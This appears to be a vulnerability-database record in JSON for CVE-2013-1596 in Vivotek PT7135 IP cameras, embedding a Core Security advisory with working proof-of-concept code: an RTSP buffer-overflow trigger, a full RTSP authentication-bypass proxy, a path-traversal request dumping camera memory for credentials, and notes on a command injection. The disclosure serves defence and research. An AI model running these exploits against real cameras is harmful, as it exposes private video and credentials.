"problemtype_data": {
"@id": "https://www.variotdbs.pl/ref/problemtype_data/"
},
"references": {
"@id": "https://www.variotdbs.pl/ref/references/"
},
"sources": {
"@id": "https://www.variotdbs.pl/ref/sources/"
},
"sources_release_date": {
"@id": "https://www.variotdbs.pl/ref/sources_release_date/"
},
"sources_update_date": {
"@id": "https://www.variotdbs.pl/ref/sources_update_date/"
},
"threat_type": {
"@id": "https://www.variotdbs.pl/ref/threat_type/"
},
"title": {
"@id": "https://www.variotdbs.pl/ref/title/"
},
"type": {
"@id": "https://www.variotdbs.pl/ref/type/"
}
},
"@id": "https://www.variotdbs.pl/vuln/VAR-202001-0836",
"affected_products": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/affected_products#",
"data": {
"@container": "@list"
},
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
},
"@id": "https://www.variotdbs.pl/ref/sources"
}
},
"data": [
{
"model": "pt7135",
"scope": "eq",
"trust": 1.0,
"vendor": "vivotek",
"version": "0400a"
},
{
"model": "pt7135",
"scope": "eq",
"trust": 1.0,
"vendor": "vivotek",
"version": "0300a"
},
{
"model": "pt7135 ip camera 0300a",
"scope": null,
"trust": 0.9,
"vendor": "vivotek",
"version": null
},
{
"model": "pt7135 ip camera 0400a",
"scope": null,
"trust": 0.9,
"vendor": "vivotek",
"version": null
},
{
"model": "pt7135",
"scope": "eq",
"trust": 0.8,
"vendor": "vivotek",
"version": null
},
{
"model": "pt7135",
"scope": "eq",
"trust": 0.8,
"vendor": "vivotek",
"version": "pt7135 firmware 0300a"
},
{
"model": "pt7135",
"scope": "eq",
"trust": 0.8,
"vendor": "vivotek",
"version": "pt7135 firmware 0400a"
},
{
"model": "network cameras",
"scope": null,
"trust": 0.6,
"vendor": "vivotek",
"version": null
}
],
"sources": [
{
"db": "CNVD",
"id": "CNVD-2013-04657"
},
{
"db": "CNVD",
"id": "CNVD-2012-3710"
},
{
"db": "BID",
"id": "59574"
},
{
"db": "JVNDB",
"id": "JVNDB-2013-007130"
},
{
"db": "NVD",
"id": "CVE-2013-1596"
}
]
},
"credits": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/credits#",
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": "Martin Rocha",
"sources": [
{
"db": "BID",
"id": "59574"
},
{
"db": "CNNVD",
"id": "CNNVD-201305-038"
}
],
"trust": 0.9
},
"cve": "CVE-2013-1596",
"cvss": {
"@context": {
"cvssV2": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/cvss/cvssV2#"
},
"@id": "https://www.variotdbs.pl/ref/cvss/cvssV2"
},
"cvssV3": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/cvss/cvssV3#"
},
"@id": "https://www.variotdbs.pl/ref/cvss/cvssV3/"
},
"severity": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/cvss/severity#"
},
"@id": "https://www.variotdbs.pl/ref/cvss/severity"
},
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
},
"@id": "https://www.variotdbs.pl/ref/sources"
}
},
"data": [
{
"cvssV2": [
{
"accessComplexity": "LOW",
"accessVector": "NETWORK",
"authentication": "NONE",
"author": "nvd@nist.gov",
"availabilityImpact": "NONE",
"baseScore": 5.0,
"confidentialityImpact": "PARTIAL",
"exploitabilityScore": 10.0,
"id": "CVE-2013-1596",
"impactScore": 2.9,
"integrityImpact": "NONE",
"severity": "MEDIUM",
"trust": 1.8,
"vectorString": "AV:N/AC:L/Au:N/C:P/I:N/A:N",
"version": "2.0"
},
{
"accessComplexity": "MEDIUM",
"accessVector": "NETWORK",
"authentication": "NONE",
"author": "CNVD",
"availabilityImpact": "PARTIAL",
"baseScore": 6.8,
"confidentialityImpact": "PARTIAL",
"exploitabilityScore": 8.6,
"id": "CNVD-2013-04657",
"impactScore": 6.4,
"integrityImpact": "PARTIAL",
"severity": "MEDIUM",
"trust": 0.6,
"vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:P",
"version": "2.0"
}
],
"cvssV3": [
{
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"author": "nvd@nist.gov",
"availabilityImpact": "NONE",
"baseScore": 5.3,
"baseSeverity": "MEDIUM",
"confidentialityImpact": "LOW",
"exploitabilityScore": 3.9,
"id": "CVE-2013-1596",
"impactScore": 1.4,
"integrityImpact": "NONE",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"trust": 1.0,
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N",
"version": "3.1"
},
{
"attackComplexity": "Low",
"attackVector": "Network",
"author": "NVD",
"availabilityImpact": "None",
"baseScore": 5.3,
"baseSeverity": "Medium",
"confidentialityImpact": "Low",
"exploitabilityScore": null,
"id": "CVE-2013-1596",
"impactScore": null,
"integrityImpact": "None",
"privilegesRequired": "None",
"scope": "Unchanged",
"trust": 0.8,
"userInteraction": "None",
"vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N",
"version": "3.0"
}
],
"severity": [
{
"author": "nvd@nist.gov",
"id": "CVE-2013-1596",
"trust": 1.0,
"value": "MEDIUM"
},
{
"author": "NVD",
"id": "CVE-2013-1596",
"trust": 0.8,
"value": "Medium"
},
{
"author": "CNVD",
"id": "CNVD-2013-04657",
"trust": 0.6,
"value": "MEDIUM"
}
]
}
],
"sources": [
{
"db": "CNVD",
"id": "CNVD-2013-04657"
},
{
"db": "JVNDB",
"id": "JVNDB-2013-007130"
},
{
"db": "NVD",
"id": "CVE-2013-1596"
}
]
},
"description": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/description#",
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": "An Authentication Bypass Vulnerability exists in Vivotek PT7135 IP Camera 0300a and 0400a via specially crafted RTSP packets to TCP port 554. Vivotek PT7135 IP Camera Contains an authentication vulnerability.Information may be obtained. Vivotek Network Cameras is a wireless network camera. Vivotek Network Cameras failed to properly handle user-submitted requests, allowing remote attackers to submit malicious requests for sensitive information such as FTP and DYNDNS. \nSuccessful exploits will allow a remote attacker to gain access to sensitive information. Information obtained will aid in further attacks. *Advisory Information*\n\nTitle: Vivotek IP Cameras Multiple Vulnerabilities\nAdvisory ID: CORE-2013-0301\nAdvisory URL:\nhttp://www.coresecurity.com/advisories/vivotek-ip-cameras-multiple-vulnerabilities\nDate published: 2013-04-29\nDate of last update: 2013-04-29\nVendors contacted: Vivotek\nRelease mode: User release\n\n2. *Vulnerability Information*\n\nClass: Information leak through GET request [CWE-598], Buffer overflow\n[CWE-119], Authentication issues [CWE-287], Path traversal [CWE-22], OS\ncommand injection [CWE-78]\nImpact: Code execution, Security bypass\nRemotely Exploitable: Yes\nLocally Exploitable: No\nCVE Name: CVE-2013-1594, CVE-2013-1595, CVE-2013-1596, CVE-2013-1597,\nCVE-2013-1598\n\n3. [CVE-2013-1594] to process GET requests that contain sensitive\ninformation,\n 2. [CVE-2013-1595] to execute arbitrary code,\n 3. [CVE-2013-1596] to access the video stream via RTSP,\n 4. [CVE-2013-1597] to dump the camera\u0027s memory and retrieve user\ncredentials,\n 5. [CVE-2013-1598] to execute arbitrary commands from the\nadministration web interface (pre-authentication with firmware 0300a and\npost-authentication with firmware 0400a). \n\n4. *Vulnerable Packages*\n\n . Other Vivotek cameras/firmware are probably affected too, but they\nwere not checked. \n\n5. *Non-Vulnerable Packages*\n\nVendor did not provide details. Contact Vivotek for further information. \n\n6. *Vendor Information, Solutions and Workarounds*\n\nThere was no official answer from Vivotek after several attempts to\nreport these vulnerabilities (see [Sec. 9]). Contact vendor for further\ninformation. \n\nSome mitigation actions may be:\n\n . Do not expose the camera to internet unless absolutely necessary. Filter RTSP traffic (default port 554) if possible. Have at least one proxy filtering \u0027/../../\u0027 and \u0027getparam.cgi\u0027 in\nHTTP requests. Filter strings in the parameter \u0027system.ntp\u0027 on every request made\nto the binary \u0027farseer.out\u0027. \n\n7. *Credits*\n\n[CVE-2013-1594] was originally discovered and reported [2] by Alejandro\nLeon Morales [3] and re-discovered on new firmware versions by Flavio De\nCristofaro from Core Security. \n\n[CVE-2013-1595] and [CVE-2013-1596] were discovered and researched by\nMartin Rocha from Core Impact Pro Team. The PoC of [CVE-2013-1596] was\nmade by Martin Rocha with help of Juan Cotta from Core QA Team. \n\n[CVE-2013-1597] and [CVE-2013-1598] were discovered and researched by\nFrancisco Falcon and Nahuel Riva from Core Exploit Writers Team. \n\nThe publication of this advisory was coordinated by Fernando Miranda\nfrom Core Advisories Team. \n\n8. *Technical Description / Proof of Concept Code*\n\n8.1. Sensitive information stored in plain text includes:\n\n . FTP credentials\n . Share folder credentials\n . SMTP credentials\n . WEP / WPA Keys\n . DynDNS credentials\n . Safe100.net credentials\n . TZO credentials, among others. \nThe following GET requests can exploit the vulnerability (requests may\nchange according to firmware versions and vendors devices):\n\n/-----\nhttp://192.168.1.100/cgi-bin/admin/getparam.cgi\n\nhttp://192.168.1.100/setup/parafile.html\n-----/\n\n\n8.2. *Remote Buffer Overflow*\n\n[CVE-2013-1595] The following Python script can be used to trigger the\nvulnerability. This script will send to the RTSP service a specially\ncrafted packet with the header field \u0027Authorization\u0027 fully completed\nwith the character \u0027a\u0027 (0x61). As a result, the Instruction Pointer\nregister (IP) will be overwritten with 0x61616161, which is a typical\nbuffer overrun condition. \n\n/-----\nimport socket, base64\n\ncam_ip = \u0027192.168.1.100\u0027\nsession_descriptor = \u0027live.sdp\u0027\n\nrequest = \u0027DESCRIBE rtsp://%s/%s RTSP/1.0\\r\\n\u0027 % (cam_ip,\nsession_descriptor)\nrequest+= \u0027CSeq: 1\\r\\n\u0027\nrequest+= \u0027Authorization: Basic %s\\r\\n\u0027\nrequest+= \u0027\\r\\n\u0027\n\nauth_little = \u0027a\u0027 * 1000\nauth_big = \u0027a\u0027 * 10000\n\nmsgs = [request % auth_little, request % auth_big]\n\nfor msg in msgs:\n s = socket.socket()\n s.connect((cam_ip, 554))\n print s.send(msg)\n print s.recv(0x10000)\n s.close()\n\n-----/\n\n\n8.3. \nAs a result, the video stream can be accessed by an unauthenticated\nremote attacker. \n\n/-----\nimport sys\nfrom socket import *\nfrom threading import Thread\nimport time, re\n\nLOGGING = 1\n\ndef log(s):\n if LOGGING:\n print \u0027(%s) %s\u0027 % (time.ctime(), s)\n\nclass UDPRequestHandler(Thread):\n def __init__(self, data_to_send, recv_addr, dst_addr):\n Thread.__init__(self)\n self.data_to_send = data_to_send\n self.recv_addr = recv_addr\n self.dst_addr = dst_addr\n \n def run(self):\n sender = socket(AF_INET, SOCK_DGRAM)\n sender.setsockopt(SOL_SOCKET, SO_REUSEADDR, 1)\n sender.sendto(self.data_to_send, self.dst_addr)\n response = sender.recv(1024)\n sender.sendto(response, self.recv_addr)\n sender.close()\n\n\nclass UDPDispatcher(Thread):\n dispatchers = []\n \n def __has_dispatcher_for(self, port):\n return any([d.src_port == port for d in UDPDispatcher.dispatchers])\n \n def __init__(self, src_port, dst_addr):\n Thread.__init__(self)\n if self.__has_dispatcher_for(src_port):\n raise Exception(\u0027There is already a dispatcher for port %d\u0027\n% src_port)\n self.src_port = src_port\n self.dst_addr = dst_addr\n UDPDispatcher.dispatchers.append(self)\n \n def run(self):\n listener = socket(AF_INET, SOCK_DGRAM)\n listener.setsockopt(SOL_SOCKET, SO_REUSEADDR, 1)\n listener.bind((\u0027\u0027, self.src_port))\n while 1:\n try:\n data, recv_addr = listener.recvfrom(1024)\n if not data: break\n UDPRequestHandler(data, recv_addr, self.dst_addr).start()\n except Exception as e:\n print e\n break \n listener.close()\n UDPDispatcher.dispatchers.remove( self )\n\n\nclass PipeThread(Thread):\n pipes = []\n def __init__(self, source, sink, process_data_callback=lambda x: x):\n Thread.__init__(self)\n self.source = source\n self.sink = sink\n self.process_data_callback = process_data_callback\n PipeThread.pipes.append(self)\n\n def run(self):\n while 1:\n try:\n data = self.source.recv(1024)\n data = self.process_data_callback(data)\n if not data: break\n self.sink.send( data )\n except Exception as e:\n log(e)\n break\n PipeThread.pipes.remove(self)\n\n\nclass TCPTunnel(Thread):\n def __init__(self, src_port, dst_addr, process_data_callback=lambda\nx: x):\n Thread.__init__(self)\n log(\u0027[*] Redirecting: localhost:%s -\u003e %s:%s\u0027 % (src_port,\ndst_addr[0], dst_addr[1]))\n self.dst_addr = dst_addr\n self.process_data_callback = process_data_callback\n # Create TCP listener socket\n self.sock = socket(AF_INET, SOCK_STREAM)\n self.sock.setsockopt(SOL_SOCKET, SO_REUSEADDR, 1)\n self.sock.bind((\u0027\u0027, src_port))\n self.sock.listen(5)\n \n def run(self):\n while 1:\n # Wait until a new connection arises\n newsock, address = self.sock.accept()\n # Create forwarder socket\n fwd = socket(AF_INET, SOCK_STREAM)\n fwd.setsockopt(SOL_SOCKET, SO_REUSEADDR, 1)\n fwd.connect(self.dst_addr)\n # Pipe them!\n PipeThread(newsock, fwd, self.process_data_callback).start()\n PipeThread(fwd, newsock, self.process_data_callback).start()\n\n\nclass Camera():\n def __init__(self, address):\n self.address = address\n def get_describe_data(self):\n return \u0027\u0027\n\n\nclass Vivotek(Camera):\n # Vivotek PT7135/0400a\n def __init__(self, address):\n Camera.__init__(self, address)\n def get_describe_data(self):\n return \u0027v=0\\r\\no=RTSP 836244 0 IN IP4 0.0.0.0\\r\\ns=RTSP\nserver\\r\\nc=IN IP4 0.0.0.0\\r\\nt=0\n0\\r\\na=charset:Shift_JIS\\r\\na=range:npt=0-\\r\\na=control:*\\r\\na=etag:1234567890\\r\\nm=video\n0 RTP/AVP 96\\r\\nb=AS:1200\\r\\na=rtpmap:96\nMP4V-ES/30000\\r\\na=control:trackID=1\\r\\na=fmtp:96\nprofile-level-id=3;config=000001B003000001B509000001000000012000C48881F4514043C1463F;decode_buf=76800\\r\\nm=audio\n0 RTP/AVP 97\\r\\na=control:trackID=3\\r\\na=rtpmap:97\nmpeg4-generic/16000/2\\r\\na=fmtp:97 streamtype=5; profile-level-id=15;\nmode=AAC-hbr; config=1410;SizeLength=13; IndexLength=3;\nIndexDeltaLength=3; CTSDeltaLength=0; DTSDeltaLength=0;\\r\\n\u0027\n\n\nclass RTSPAuthByPasser():\n DESCRIBE_REQ_HEADER = \u0027DESCRIBE rtsp://\u0027\n UNAUTHORIZED_RESPONSE = \u0027RTSP/1.0 401 Unauthorized\u0027\n SERVER_PORT_ARGUMENTS = \u0027server_port=\u0027\n DEFAULT_CSEQ = 1\n DEFAULT_SERVER_PORT_RANGE = \u00275556-5559\u0027\n\n def __init__(self, local_port, camera):\n self.last_describe_req = \u0027\u0027\n self.camera = camera\n self.local_port = local_port\n \n def start(self):\n log(\u0027[!] Starting bypasser\u0027)\n TCPTunnel(self.local_port, self.camera.address,\nself.spoof_rtsp_conn).start()\n \n def spoof_rtsp_conn(self, data):\n if RTSPAuthByPasser.DESCRIBE_REQ_HEADER in data:\n self.last_describe_req = data\n elif RTSPAuthByPasser.UNAUTHORIZED_RESPONSE in data and\nself.last_describe_req:\n log(\u0027[!] Unauthorized response received. Spoofing...\u0027)\n spoofed_describe = self.camera.get_describe_data()\n # Look for the request CSeq\n m = re.search(\u0027.*CSeq:\\\\s*(\\\\d+?)\\r\\n.*\u0027,\nself.last_describe_req)\n cseq = m.group(1) if m else RTSPAuthByPasser.DEFAULT_CSEQ\n # Create the response\n data = \u0027RTSP/1.0 200 OK\\r\\n\u0027\n data+= \u0027CSeq: %s\\r\\n\u0027 % cseq\n data+= \u0027Content-Type: application/sdp\\r\\n\u0027\n data+= \u0027Content-Length: %d\\r\\n\u0027 % len(spoofed_describe)\n data+= \u0027\\r\\n\u0027\n # Attach the spoofed describe\n data+= spoofed_describe \n elif RTSPAuthByPasser.SERVER_PORT_ARGUMENTS in data:\n # Look for the server RTP ports\n m = re.search(\u0027.*%s\\\\s*(.+?)[;|\\r].*\u0027 %\nRTSPAuthByPasser.SERVER_PORT_ARGUMENTS, data)\n ports = m.group(1) if m else\nRTSPAuthByPasser.DEFAULT_SERVER_PORT_RANGE\n # For each port in the range create a UDP dispatcher\n begin_port, end_port = map(int, ports.split(\u0027-\u0027))\n for udp_port in xrange(begin_port, end_port + 1):\n try:\n UDPDispatcher(udp_port, (self.camera.address[0],\nudp_port)).start()\n except:\n pass \n return data\n\nif __name__ == \u0027__main__\u0027:\n if len( sys.argv ) \u003e 1:\n listener_port = camera_port = int(sys.argv[1])\n camera_ip = sys.argv[2]\n if len(sys.argv) == 4:\n camera_port = int(sys.argv[3])\n RTSPAuthByPasser(listener_port, Vivotek((camera_ip,\ncamera_port))).start()\n else:\n print \u0027usage: python %s [local_port] [camera_ip]\n[camera_rtsp_port]\u0027 \n\n-----/\n\n\n8.4. *User Credentials Leaked via Path Traversal*\n\n[CVE-2013-1597] The following Python code exploits a path traversal and\ndumps the camera\u0027s memory. Valid user credentials can be extracted from\nthis memory dump by an unauthenticated remote attacker (firmware 0300a). \nThe same attack is still valid with firmware 0400a but the user has to\nbe authenticated in order to exploit this flaw. \n\n/-----\nimport httplib\n\nconn = httplib.HTTPConnection(\"192.168.1.100\")\nconn.request(\"GET\", \"/../../../../../../../../../proc/kcore\")\nresp = conn.getresponse()\ndata = resp.read()\n-----/\n\n\n\n8.5. *OS Command Injection*\n\n[CVE-2013-1598] The command injection is located in the binary file\n\u0027farseer.out\u0027 in the parameter \u0027system.ntp\u0027:\n\n/-----\n.text:0000CB34 MOV R1, R4\n.text:0000CB38 LDR R0, =aCmdporcessStar ;\n\"[CmdPorcess] Start sync with NTP server %s\"... \n.text:0000CB3C ADD R10, SP, #0x144+var_120\n.text:0000CB40 BNE loc_CB68\n[...]\n.text:0000CB68 BL .printf\n.text:0000CB6C LDR R2, =aSS_0 ; \"%s%s\"\n.text:0000CB70 LDR R3, =aUsrSbinPsntpda ;\n\"/usr/sbin/psntpdate -4fr \"\n.text:0000CB74 MOV R1, #0xFF ; maxlen\n.text:0000CB78 MOV R0, R10 ; s\n.text:0000CB7C STR R4, [SP,#0x144+var_144]\n.text:0000CB80 BL .snprintf\n.text:0000CB84 MOV R0, R10 ; command\n.text:0000CB88 BL .system \n-----/\n\n9. *Report Timeline*\n\n. 2013-03-06:\nCore Security Technologies notifies the Vivotek Customer Support of the\nvulnerability (tracking ID CRM:00930113) and requests a security manager\nto send a draft report regarding these vulnerabilities. No reply received. 2013-03-11:\nCore asks for a security manager to send a confidential report. 2013-03-14:\nCore notifies the Vivotek Technical Support of the vulnerability\n(tracking ID CRM:00930485). 2013-03-18:\nCore opens a new ticket in the Vivotek Technical Support (tracking ID\nCRM:00930670). 2013-03-21:\nCore asks for a reply regarding the tracking ID CRM:00930485. 2013-04-24:\nCore tries to contact vendor for last time without any reply. 2013-04-29:\nAfter 6 failed attempts to report the issues, the advisory\nCORE-2013-0301 is published as \u0027user-release\u0027. \n\n10. *References*\n\n[1] http://www.vivotek.com/web/product/NetworkCameras.aspx\n[2] http://www.securityfocus.com/bid/54476. \n[3] Alejandro Leon Morales [Gothicx] http://www.undermx.blogspot.mx. \n\n11. *About CoreLabs*\n\nCoreLabs, the research center of Core Security Technologies, is charged\nwith anticipating the future needs and requirements for information\nsecurity technologies. We conduct our research in several important\nareas of computer security including system vulnerabilities, cyber\nattack planning and simulation, source code auditing, and cryptography. \nOur results include problem formalization, identification of\nvulnerabilities, novel solutions and prototypes for new technologies. \nCoreLabs regularly publishes security advisories, technical papers,\nproject information and shared software tools for public use at:\nhttp://corelabs.coresecurity.com. \n\n12. *About Core Security Technologies*\n\nCore Security Technologies enables organizations to get ahead of threats\nwith security test and measurement solutions that continuously identify\nand demonstrate real-world exposures to their most critical assets. Our\ncustomers can gain real visibility into their security standing, real\nvalidation of their security controls, and real metrics to more\neffectively secure their organizations. \n\nCore Security\u0027s software solutions build on over a decade of trusted\nresearch and leading-edge threat expertise from the company\u0027s Security\nConsulting Services, CoreLabs and Engineering groups. Core Security\nTechnologies can be reached at +1 (617) 399-6980 or on the Web at:\nhttp://www.coresecurity.com. \n\n13. *Disclaimer*\n\nThe contents of this advisory are copyright (c) 2012 Core Security\nTechnologies and (c) 2012 CoreLabs, and are licensed under a Creative\nCommons Attribution Non-Commercial Share-Alike 3.0 (United States)\nLicense: http://creativecommons.org/licenses/by-nc-sa/3.0/us/\n\n14. *PGP/GPG Keys*\n\nThis advisory has been signed with the GPG key of Core Security\nTechnologies advisories team, which is available for download at\nhttp://www.coresecurity.com/files/attachments/core_security_advisories.asc",
"sources": [
{
"db": "NVD",
"id": "CVE-2013-1596"
},
{
"db": "JVNDB",
"id": "JVNDB-2013-007130"
},
{
"db": "CNVD",
"id": "CNVD-2013-04657"
},
{
"db": "CNVD",
"id": "CNVD-2012-3710"
},
{
"db": "BID",
"id": "59574"
},
{
"db": "BID",
"id": "54476"
},
{
"db": "PACKETSTORM",
"id": "121451"
}
],
"trust": 3.33
},
"external_ids": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/external_ids#",
"data": {
"@container": "@list"
},
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": [
{
"db": "NVD",
"id": "CVE-2013-1596",
"trust": 3.5
},
{
"db": "BID",
"id": "59574",
"trust": 2.5
},
{
"db": "BID",
"id": "54476",
"trust": 1.6
},
{
"db": "JVNDB",
"id": "JVNDB-2013-007130",
"trust": 0.8
},
{
"db": "CNVD",
"id": "CNVD-2013-04657",
"trust": 0.6
},
{
"db": "CNVD",
"id": "CNVD-2012-3710",
"trust": 0.6
},
{
"db": "CNNVD",
"id": "CNNVD-201207-239",
"trust": 0.6
},
{
"db": "CNNVD",
"id": "CNNVD-201305-038",
"trust": 0.6
},
{
"db": "OTHER",
"id": "NONE",
"trust": 0.1
},
{
"db": "PACKETSTORM",
"id": "121451",
"trust": 0.1
}
],
"sources": [
{
"db": "OTHER",
"id": null
},
{
"db": "CNVD",
"id": "CNVD-2013-04657"
},
{
"db": "CNVD",
"id": "CNVD-2012-3710"
},
{
"db": "BID",
"id": "59574"
},
{
"db": "BID",
"id": "54476"
},
{
"db": "JVNDB",
"id": "JVNDB-2013-007130"
},
{
"db": "PACKETSTORM",
"id": "121451"
},
{
"db": "CNNVD",
"id": "CNNVD-201207-239"
},
{
"db": "CNNVD",
"id": "CNNVD-201305-038"
},
{
"db": "NVD",
"id": "CVE-2013-1596"
}
]
},
"id": "VAR-202001-0836",
"iot": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/iot#",
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": true,
"sources": [
{
"db": "OTHER",
"id": null
},
{
"db": "CNVD",
"id": "CNVD-2013-04657"
},
{
"db": "CNVD",
"id": "CNVD-2012-3710"
}
],
"trust": 2.1333333333333333
},
"iot_taxonomy": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/iot_taxonomy#",
"data": {
"@container": "@list"
},
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": [
{
"category": [
"Network device"
],
"sub_category": null,
"trust": 1.2
},
{
"category": [
"camera device"
],
"sub_category": "IP camera",
"trust": 0.1
}
],
"sources": [
{
"db": "OTHER",
"id": null
},
{
"db": "CNVD",
"id": "CNVD-2013-04657"
},
{
"db": "CNVD",
"id": "CNVD-2012-3710"
}
]
},
"last_update_date": "2025-01-30T20:36:12.929000Z",
"patch": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/patch#",
"data": {
"@container": "@list"
},
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": [
{
"title": "Top\u00a0Page",
"trust": 0.8,
"url": "https://www.vivotek.com/"
}
],
"sources": [
{
"db": "JVNDB",
"id": "JVNDB-2013-007130"
}
]
},
"problemtype_data": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/problemtype_data#",
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": [
{
"problemtype": "CWE-287",
"trust": 1.0
},
{
"problemtype": "Incorrect authentication (CWE-287) [NVD Evaluation ]",
"trust": 0.8
}
],
"sources": [
{
"db": "JVNDB",
"id": "JVNDB-2013-007130"
},
{
"db": "NVD",
"id": "CVE-2013-1596"
}
]
},
"references": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/references#",
"data": {
"@container": "@list"
},
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": [
{
"trust": 2.8,
"url": "https://www.coresecurity.com/advisories/vivotek-ip-cameras-multiple-vulnerabilities"
},
{
"trust": 1.6,
"url": "https://packetstormsecurity.com/files/cve/cve-2013-1596"
},
{
"trust": 1.6,
"url": "https://github.com/offensive-security/exploitdb/blob/master/exploits/hardware/webapps/25139.txt"
},
{
"trust": 1.6,
"url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/83945"
},
{
"trust": 1.6,
"url": "http://www.securityfocus.com/bid/59574"
},
{
"trust": 1.5,
"url": "https://nvd.nist.gov/vuln/detail/cve-2013-1596"
},
{
"trust": 0.6,
"url": "http://seclists.org/fulldisclosure/2013/apr/252"
},
{
"trust": 0.6,
"url": "http://www.securityfocus.com/bid/54476/"
},
{
"trust": 0.6,
"url": "http://www.securityfocus.com/bid/54476"
},
{
"trust": 0.3,
"url": "http://www.vivotek.com/"
},
{
"trust": 0.1,
"url": "https://ieeexplore.ieee.org/abstract/document/10769424"
},
{
"trust": 0.1,
"url": "http://www.coresecurity.com/files/attachments/core_security_advisories.asc."
},
{
"trust": 0.1,
"url": "https://nvd.nist.gov/vuln/detail/cve-2013-1595"
},
{
"trust": 0.1,
"url": "https://nvd.nist.gov/vuln/detail/cve-2013-1597"
},
{
"trust": 0.1,
"url": "http://www.undermx.blogspot.mx."
},
{
"trust": 0.1,
"url": "https://nvd.nist.gov/vuln/detail/cve-2013-1594"
},
{
"trust": 0.1,
"url": "http://www.coresecurity.com."
},
{
"trust": 0.1,
"url": "http://192.168.1.100/cgi-bin/admin/getparam.cgi"
},
{
"trust": 0.1,
"url": "https://nvd.nist.gov/vuln/detail/cve-2013-1598"
},
{
"trust": 0.1,
"url": "http://192.168.1.100/setup/parafile.html"
},
{
"trust": 0.1,
"url": "http://www.vivotek.com/web/product/networkcameras.aspx"
},
{
"trust": 0.1,
"url": "http://corelabs.coresecurity.com"
},
{
"trust": 0.1,
"url": "http://corelabs.coresecurity.com."
},
{
"trust": 0.1,
"url": "http://www.securityfocus.com/bid/54476."
},
{
"trust": 0.1,
"url": "http://creativecommons.org/licenses/by-nc-sa/3.0/us/"
}
],
"sources": [
{
"db": "OTHER",
"id": null
},
{
"db": "CNVD",
"id": "CNVD-2013-04657"
},
{
"db": "CNVD",
"id": "CNVD-2012-3710"
},
{
"db": "BID",
"id": "59574"
},
{
"db": "JVNDB",
"id": "JVNDB-2013-007130"
},
{
"db": "PACKETSTORM",
"id": "121451"
},
{
"db": "CNNVD",
"id": "CNNVD-201207-239"
},
{
"db": "CNNVD",
"id": "CNNVD-201305-038"
},
{
"db": "NVD",
"id": "CVE-2013-1596"
}
]
},
"sources": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#",
"data": {
"@container": "@list"
}
},
"data": [
{
"db": "OTHER",
"id": null
},
{
"db": "CNVD",
"id": "CNVD-2013-04657"
},
{
"db": "CNVD",
"id": "CNVD-2012-3710"
},
{
"db": "BID",
"id": "59574"
},
{
"db": "BID",
"id": "54476"
},
{
"db": "JVNDB",
"id": "JVNDB-2013-007130"
},
{
"db": "PACKETSTORM",
"id": "121451"
},
{
"db": "CNNVD",
"id": "CNNVD-201207-239"
},
{
"db": "CNNVD",
"id": "CNNVD-201305-038"
},
{
"db": "NVD",
"id": "CVE-2013-1596"
}
]
},
"sources_release_date": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources_release_date#",
"data": {
"@container": "@list"
}
},
"data": [
{
"date": "2013-05-06T00:00:00",
"db": "CNVD",
"id": "CNVD-2013-04657"
},
{
"date": "2012-07-18T00:00:00",
"db": "CNVD",
"id": "CNVD-2012-3710"
},
{
"date": "2013-04-29T00:00:00",
"db": "BID",
"id": "59574"
},
{
"date": "2012-07-16T00:00:00",
"db": "BID",
"id": "54476"
},
{
"date": "2020-02-17T00:00:00",
"db": "JVNDB",
"id": "JVNDB-2013-007130"
},
{
"date": "2013-04-29T23:40:31",
"db": "PACKETSTORM",
"id": "121451"
},
{
"date": "2012-07-18T00:00:00",
"db": "CNNVD",
"id": "CNNVD-201207-239"
},
{
"date": "2013-04-29T00:00:00",
"db": "CNNVD",
"id": "CNNVD-201305-038"
},
{
"date": "2020-01-24T18:15:11.973000",
"db": "NVD",
"id": "CVE-2013-1596"
}
]
},
"sources_update_date": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources_update_date#",
"data": {
"@container": "@list"
}
},
"data": [
{
"date": "2013-05-20T00:00:00",
"db": "CNVD",
"id": "CNVD-2013-04657"
},
{
"date": "2012-07-18T00:00:00",
"db": "CNVD",
"id": "CNVD-2012-3710"
},
{
"date": "2013-04-29T00:00:00",
"db": "BID",
"id": "59574"
},
{
"date": "2012-07-16T00:00:00",
"db": "BID",
"id": "54476"
},
{
"date": "2020-02-17T00:00:00",
"db": "JVNDB",
"id": "JVNDB-2013-007130"
},
{
"date": "2012-07-18T00:00:00",
